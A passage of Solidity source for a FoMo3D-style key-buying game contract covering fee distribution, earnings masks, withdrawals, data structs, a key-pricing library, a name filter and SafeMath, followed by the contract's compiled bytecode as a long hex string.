admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
// set up event data
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
// toss 1% into airdrop pot
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
// update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share))
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public
{
// only team just can activate
require(msg.sender == admin, "only admin can activate");
// can only be ran once
require(activated_ == false, "FOMO Short already activated");
// activate the contract
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
//==============================================================================
// __|_ _ __|_ _ .
// _\ | | |_|(_ | _\ .
//==============================================================================
library F3Ddatasets {
//compressedData key
// [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0]
// 0 - new player (bool)
// 1 - joined round (bool)
// 2 - new leader (bool)
// 3-5 - air drop tracker (uint 0-999)
// 6-16 - round end time
// 17 - winnerTeam
// 18 - 28 timestamp
// 29 - team
// 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico)
// 31 - airdrop happened bool
// 32 - airdrop tier
// 33 - airdrop amount won
//compressedIDs key
// [77-52][51-26][25-0]
// 0-25 - pID
// 26-51 - winPID
// 52-77 - rID
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr; // winner address
bytes32 winnerName; // winner name
uint256 amountWon; // amount won
uint256 newPot; // amount in new pot
uint256 P3DAmount; // amount distributed to p3d
uint256 genAmount; // amount distributed to gen
uint256 potAmount; // amount added to pot
}
struct Player {
address addr; // player address
bytes32 name; // player name
uint256 win; // winnings vault
uint256 gen; // general vault
uint256 aff; // affiliate vault
uint256 lrnd; // last round played
uint256 laff; // last affiliate id used
}
struct PlayerRounds {
uint256 eth; // eth player has added to round (used for eth limiter)
uint256 keys; // keys
uint256 mask; // player mask
uint256 ico; // ICO phase investment
}
struct Round {
uint256 plyr; // pID of player in lead
uint256 team; // tID of team in lead
uint256 end; // time ends/ended
bool ended; // has round end function been ran
uint256 strt; // time round started
uint256 keys; // keys
uint256 eth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 mask; // global mask
uint256 ico; // total eth sent in during ICO phase
uint256 icoGen; // total eth for gen during ICO phase
uint256 icoAvg; // average key price for ICO phase
}
struct TeamFee {
uint256 gen; // % of buy in thats paid to key holders of current round
uint256 p3d; // % of buy in thats paid to p3d holders
}
struct PotSplit {
uint256 gen; // % of pot thats paid to key holders of current round
uint256 p3d; // % of pot thats paid to p3d holders
}
}
//==============================================================================
// | _ _ _ | _ .
// |<(/_\/ (_(_||(_ .
//=======/======================================================================
library F3DKeysCalcShort {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
//==============================================================================
// . _ _|_ _ _ |` _ _ _ _ .
// || | | (/_| ~|~(_|(_(/__\ .
//==============================================================================
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0x6080604052600436106101c15763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663018a25e8811461035f57806306fdde0314610386578063079ce327146104105780630f15f4c01461043057806310f01eba1461044557806311a09ae71461046657806324c33d331461047b5780632660316e146104f25780632ce21999146105215780632e19ebdc14610552578063349cdcac1461056a5780633ccfd60b146105885780633ddd46981461059d57806349cc635d146105f95780635893d48114610623578063624ae5c01461063e5780636306643414610653578063685ffd8314610689578063747dff42146106dc57806382bfc739146107675780638f38f3091461078e5780638f7140ea1461079c578063921dec21146107b757806395d89b411461080a57806398a0871d1461081f578063a2bccae914610836578063a65b37a114610877578063c519500e14610885578063c7e284b81461089d578063ce89c80c146108b2578063cf808000146108cd578063d53b2679146108e5578063d87574e0146108fa578063de7874f31461090f578063ed78cf4a14610969578063ee0b5d8b14610971575b6101c9615161565b600f5460009060ff16151560011461022d576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015610274576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b34633b9aca008110156102cc576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af680000081111561031c576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b610325856109ca565b33600090815260066020818152604080842054808552600890925290922001549196509450610358908590600288610c7e565b5050505050005b34801561036b57600080fd5b50610374610eb8565b60408051918252519081900360200190f35b34801561039257600080fd5b5061039b610f7d565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103d55781810151838201526020016103bd565b50505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041c57600080fd5b5061042e600435602435604435610fb4565b005b34801561043c57600080fd5b5061042e6111c0565b34801561045157600080fd5b50610374600160a060020a03600435166112f3565b34801561047257600080fd5b50610374611305565b34801561048757600080fd5b5061049360043561130b565b604080519c8d5260208d019b909b528b8b019990995296151560608b015260808a019590955260a089019390935260c088019190915260e087015261010086015261012085015261014084015261016083015251908190036101800190f35b3480156104fe57600080fd5b5061050d60043560243561136e565b604080519115158252519081900360200190f35b34801561052d57600080fd5b5061053960043561138e565b6040805192835260208301919091528051918290030190f35b34801561055e57600080fd5b506103746004356113a7565b34801561057657600080fd5b5061042e6004356024356044356113b9565b34801561059457600080fd5b5061042e61159f565b6040805160206004803580820135601f810184900484028501840190955284845261042e94369492936024939284019190819084018382808284375094975050600160a060020a03853516955050505050602001351515611920565b34801561060557600080fd5b5061042e600435600160a060020a0360243516604435606435611ad9565b34801561062f57600080fd5b50610374600435602435611cca565b34801561064a57600080fd5b50610374611ce7565b34801561065f57600080fd5b5061066b600435611ced565b60408051938452602084019290925282820152519081900360600190f35b6040805160206004803580820135601f810184900484028501840190955284845261042e943694929360249392840191908190840183828082843750949750508435955050505050602001351515611e93565b3480156106e857600080fd5b506106f1611f73565b604080519e8f5260208f019d909d528d8d019b909b5260608d019990995260808c019790975260a08b019590955260c08a0193909352600160a060020a0390911660e08901526101008801526101208701526101408601526101608501526101808401526101a083015251908190036101c00190f35b34801561077357600080fd5b5061042e600160a060020a0360043516602435604435612171565b61042e60043560243561236b565b3480156107a857600080fd5b5061042e600435602435612552565b6040805160206004803580820135601f810184900484028501840190955284845261042e94369492936024939284019190819084018382808284375094975050843595505050505060200135151561262f565b34801561081657600080fd5b5061039b61270f565b61042e600160a060020a0360043516602435612746565b34801561084257600080fd5b5061085160043560243561295b565b604080519485526020850193909352838301919091526060830152519081900360800190f35b61042e60043560243561298d565b34801561089157600080fd5b50610539600435612b8a565b3480156108a957600080fd5b50610374612ba3565b3480156108be57600080fd5b50610374600435602435612c32565b3480156108d957600080fd5b50610374600435612cda565b3480156108f157600080fd5b5061050d612d8c565b34801561090657600080fd5b50610374612d95565b34801561091b57600080fd5b50610927600435612d9b565b60408051600160a060020a0390981688526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b61042e612de2565b34801561097d57600080fd5b50610992600160a060020a0360043516612e5f565b604080519788526020880196909652868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b6109d2615161565b336000908152600660205260408120549080821515610c7557604080517fe56556a90000000000000000000000000000000000000000000000000000000081523360048201529051739ac0a90554a1cb542d1f7a5763f0180633433c509163e56556a99160248083019260209291908290030181600087803b158015610a5757600080fd5b505af1158015610a6b573d6000803e3d6000fd5b505050506040513d6020811015610a8157600080fd5b5051604080517f82e37b2c000000000000000000000000000000000000000000000000000000008152600481018390529051919450739ac0a90554a1cb542d1f7a5763f0180633433c50916382e37b2c916024808201926020929091908290030181600087803b158015610af457600080fd5b505af1158015610b08573d6000803e3d6000fd5b505050506040513d6020811015610b1e57600080fd5b5051604080517fe3c08adf000000000000000000000000000000000000000000000000000000008152600481018690529051919350739ac0a90554a1cb542d1f7a5763f0180633433c509163e3c08adf916024808201926020929091908290030181600087803b158015610b9157600080fd5b505af1158015610ba5573d6000803e3d6000fd5b505050506040513d6020811015610bbb57600080fd5b505133600081815260066020908152604080832088905587835260089091529020805473ffffffffffffffffffffffffffffffffffffffff1916909117905590508115610c44576000828152600760209081526040808320869055858352600882528083206001908101869055600a8352818420868552909252909120805460ff191690911790555b8015801590610c535750828114155b15610c6d5760008381526008602052604090206006018190555b845160010185525b50929392505050565b6005546002546000828152600b602052604090206004015442910181118015610ce957506000828152600b602052604090206002015481111580610ce957506000828152600b602052604090206002015481118015610ce957506000828152600b6020526040902054155b15610d0157610cfc828734888888612f34565b610eb0565b6000828152600b602052604090206002015481118015610d3357506000828152600b602052604090206003015460ff16155b15610e7b576000828152600b60205260409020600301805460ff19166001179055610d5d83613485565b925080670de0b6b3a764000002836000015101836000018181525050858360200151018360200181815250507fa7801a70b37e729a11492aad44fd3dba89b4149f0609dc0f6837bf9e57e2671a3360086000898152602001908152602001600020600101543486600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808c600160a060020a0316600160a060020a031681526020018b600019166000191681526020018a815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390a15b600086815260086020526040902060030154610e9d903463ffffffff61388916565b6000878152600860205260409020600301555b505050505050565b6005546002546000828152600b602052604081206004015490929142910181118015610f2657506000828152600b602052604090206002015481111580610f2657506000828152600b602052604090206002015481118015610f2657506000828152600b6020526040902054155b15610f6e576000828152600b6020526040902060050154610f6790670de0b6b3a764000090610f5b908263ffffffff61388916565b9063ffffffff6138ea16565b9250610f78565b6544364c5bb00092505b505090565b60408051808201909152600e81527f464f4d4f204c696768746e696e67000000000000000000000000000000000000602082015281565b610fbc615161565b600f54600090819060ff161515600114611022576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015611069576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b85633b9aca008110156110c1576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115611111576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b336000908152600660205260409020549450881580611140575060008581526008602052604090206001015489145b1561115e57600085815260086020526040902060060154935061119d565b600089815260076020908152604080832054888452600890925290912060060154909450841461119d5760008581526008602052604090206006018490555b6111a688613917565b97506111b585858a8a8a61393c565b505050505050505050565b600054600160a060020a03163314611222576040805160e560020a62461bcd02815260206004820152601760248201527f6f6e6c792061646d696e2063616e206163746976617465000000000000000000604482015290519081900360640190fd5b600f5460ff161561127d576040805160e560020a62461bcd02815260206004820152601c60248201527f464f4d4f2053686f727420616c72656164792061637469766174656400000000604482015290519081900360640190fd5b600f805460ff1916600190811790915560058190556002548154600092909252600b602052429091019081037f72c6bfb7988af3a1efa6568f02a999bc52252641c659d85961ca3d372b57d5d355610384017f72c6bfb7988af3a1efa6568f02a999bc52252641c659d85961ca3d372b57d5d155565b60066020526000908152604090205481565b60045481565b600b60208190526000918252604090912080546001820154600283015460038401546004850154600586015460068701546007880154600889015460098a0154600a8b01549a909b0154989a9799969860ff90961697949693959294919390928c565b600a60209081526000928352604080842090915290825290205460ff1681565b600d602052600090815260409020805460019091015482565b60076020526000908152604090205481565b6113c1615161565b600f5460009060ff161515600114611425576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b801561146c576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b84633b9aca008110156114c4576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115611514576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b33600090815260066020526040902054935087158061153257508388145b1561155057600084815260086020526040902060060154975061157d565b600084815260086020526040902060060154881461157d5760008481526008602052604090206006018890555b61158687613917565b9650611595848989898961393c565b5050505050505050565b6000806000806115ad615161565b600f5460ff16151560011461160e576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015611655576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b60055433600090815260066020908152604080832054848452600b909252909120600201549198504297509550861180156116a257506000878152600b602052604090206003015460ff16155b80156116bb57506000878152600b602052604090205415155b15611861576000878152600b60205260409020600301805460ff191660011790556116e583613485565b92506116f085613b58565b9350600084111561174157600085815260086020526040808220549051600160a060020a039091169186156108fc02918791818181858888f1935050505015801561173f573d6000803e3d6000fd5b505b85670de0b6b3a764000002836000015101836000018181525050848360200151018360200181815250507f0bd0dba8ab932212fa78150cdb7b0275da72e255875967b5cad11464cf71bedc3360086000888152602001908152602001600020600101548686600001518760200151886040015189606001518a608001518b60a001518c60c001518d60e00151604051808c600160a060020a0316600160a060020a031681526020018b600019166000191681526020018a815260200189815260200188815260200187600160a060020a0316600160a060020a0316815260200186600019166000191681526020018581526020018481526020018381526020018281526020019b50505050505050505050505060405180910390a1611917565b61186a85613b58565b935060008411156118bb57600085815260086020526040808220549051600160a060020a039091169186156108fc02918791818181858888f193505050501580156118b9573d6000803e3d6000fd5b505b6000858152600860209081526040918290206001015482513381529182015280820186905260608101889052905186917f8f36579a548bc439baa172a6521207464154da77f411e2da3db2f53affe6cc3a919081900360800190a25b50505050505050565b6000808080808033803b801561196e576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b6119778b613bdf565b604080517faa4d490b000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052600160a060020a038e1660448301528c151560648301528251939b509950349850739ac0a90554a1cb542d1f7a5763f0180633433c509263aa4d490b928a926084808201939182900301818588803b158015611a0857600080fd5b505af1158015611a1c573d6000803e3d6000fd5b50505050506040513d6040811015611a3357600080fd5b508051602091820151600160a060020a03808b1660008181526006865260408082205485835260088852918190208054600190910154825188151581529889018790529416878201526060870193909352608086018c90524260a0870152915193995091975095508a92909186917fdd6176433ff5026bbce96b068584b7bbe3514227e72df9c630b749ae87e64442919081900360c00190a45050505050505050505050565b33739ac0a90554a1cb542d1f7a5763f0180633433c5014611b6a576040805160e560020a62461bcd02815260206004820152602760248201527f796f7572206e6f7420706c617965724e616d657320636f6e74726163742e2e2e60448201527f20686d6d6d2e2e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0383166000908152600660205260409020548414611ba557600160a060020a03831660009081526006602052604090208490555b6000828152600760205260409020548414611bcc5760008281526007602052604090208490555b600084815260086020526040902054600160a060020a03848116911614611c22576000848152600860205260409020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385161790555b6000848152600860205260409020600101548214611c4f5760008481526008602052604090206001018290555b6000848152600860205260409020600601548114611c7c5760008481526008602052604090206006018190555b6000848152600a6020908152604080832085845290915290205460ff161515611cc4576000848152600a602090815260408083208584529091529020805460ff191660011790555b50505050565b600c60209081526000928352604080842090915290825290205481565b60055481565b6005546000818152600b60205260408120600201549091829182919042118015611d2957506000818152600b602052604090206003015460ff16155b8015611d4257506000818152600b602052604090205415155b15611e63576000818152600b6020526040902054851415611e27576000818152600b6020526040902060070154611db090606490611d8790603063ffffffff6143f216565b811515611d9057fe5b60008881526008602052604090206002015491900463ffffffff61388916565b6000868152600960209081526040808320858452909152902060020154611e0990611deb90611ddf8986614469565b9063ffffffff61453716565b6000888152600860205260409020600301549063ffffffff61388916565b60008781526008602052604090206004015491955093509150611e8b565b600085815260086020908152604080832060029081015460098452828520868652909352922090910154611e0990611deb90611ddf8986614469565b60008581526008602052604090206002810154600590910154611e0990611deb908890614597565b509193909250565b6000808080808033803b8015611ee1576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b611eea8b613bdf565b604080517f745ea0c1000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052604482018e90528c151560648301528251939b509950349850739ac0a90554a1cb542d1f7a5763f0180633433c509263745ea0c1928a926084808201939182900301818588803b158015611a0857600080fd5b60008060008060008060008060008060008060008060006005549050600b60008281526020019081526020016000206009015481600b600084815260200190815260200160002060050154600b600085815260200190815260200160002060020154600b600086815260200190815260200160002060040154600b600087815260200190815260200160002060070154600b600088815260200190815260200160002060000154600a02600b6000898152602001908152602001600020600101540160086000600b60008b815260200190815260200160002060000154815260200190815260200160002060000160009054906101000a9004600160a060020a031660086000600b60008c815260200190815260200160002060000154815260200190815260200160002060010154600c60008b8152602001908152602001600020600080815260200190815260200160002054600c60008c815260200190815260200160002060006001815260200190815260200160002054600c60008d815260200190815260200160002060006002815260200190815260200160002054600c60008e8152602001908152602001600020600060038152602001908152602001600020546003546103e802600454019e509e509e509e509e509e509e509e509e509e509e509e509e509e5050909192939495969798999a9b9c9d565b612179615161565b600f54600090819060ff1615156001146121df576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015612226576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b85633b9aca0081101561227e576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156122ce576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b336000908152600660205260409020549450600160a060020a03891615806122fe5750600160a060020a03891633145b1561231c57600085815260086020526040902060060154935061119d565b600160a060020a03891660009081526006602081815260408084205489855260089092529092200154909450841461119d5760008581526008602052604090206006018490556111a688613917565b612373615161565b600f5460009060ff1615156001146123d7576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b801561241e576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b34633b9aca00811015612476576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156124c6576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b6124cf856109ca565b3360009081526006602052604090205490955093508615806124f057508387145b1561250e57600084815260086020526040902060060154965061253b565b600084815260086020526040902060060154871461253b5760008481526008602052604090206006018790555b61254486613917565b955061191784888888610c7e565b33739ac0a90554a1cb542d1f7a5763f0180633433c50146125e3576040805160e560020a62461bcd02815260206004820152602760248201527f796f7572206e6f7420706c617965724e616d657320636f6e74726163742e2e2e60448201527f20686d6d6d2e2e00000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000828152600a6020908152604080832084845290915290205460ff16151561262b576000828152600a602090815260408083208484529091529020805460ff191660011790555b5050565b6000808080808033803b801561267d576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b6126868b613bdf565b604080517fc0942dfd000000000000000000000000000000000000000000000000000000008152336004820181905260248201849052604482018e90528c151560648301528251939b509950349850739ac0a90554a1cb542d1f7a5763f0180633433c509263c0942dfd928a926084808201939182900301818588803b158015611a0857600080fd5b60408051808201909152600581527f53484f5254000000000000000000000000000000000000000000000000000000602082015281565b61274e615161565b600f54600090819060ff1615156001146127b4576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b80156127fb576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b34633b9aca00811015612853576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af68000008111156128a3576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b6128ac866109ca565b336000908152600660205260409020549096509450600160a060020a03881615806128df5750600160a060020a03881633145b156128fd576000858152600860205260409020600601549350612944565b600160a060020a0388166000908152600660208181526040808420548985526008909252909220015490945084146129445760008581526008602052604090206006018490555b61294d87613917565b965061159585858989610c7e565b600960209081526000928352604080842090915290825290208054600182015460028301546003909301549192909184565b612995615161565b600f54600090819060ff1615156001146129fb576040805160e560020a62461bcd02815260206004820152602960248201526000805160206151fb83398151915260448201526000805160206151bb833981519152606482015290519081900360840190fd5b33803b8015612a42576040805160e560020a62461bcd028152602060048201526011602482015260008051602061523b833981519152604482015290519081900360640190fd5b34633b9aca00811015612a9a576040805160e560020a62461bcd02815260206004820152602160248201526000805160206151db833981519152604482015260f860020a607902606482015290519081900360840190fd5b69152d02c7e14af6800000811115612aea576040805160e560020a62461bcd02815260206004820152600e602482015260008051602061521b833981519152604482015290519081900360640190fd5b612af3866109ca565b336000908152600660205260409020549096509450871580612b25575060008581526008602052604090206001015488145b15612b43576000858152600860205260409020600601549350612944565b600088815260076020908152604080832054888452600890925290912060060154909450841461294457600085815260086020526040902060060184905561294d87613917565b600e602052600090815260409020805460019091015482565b6005546000818152600b60205260408120600201549091904290811015612c29576002546000838152600b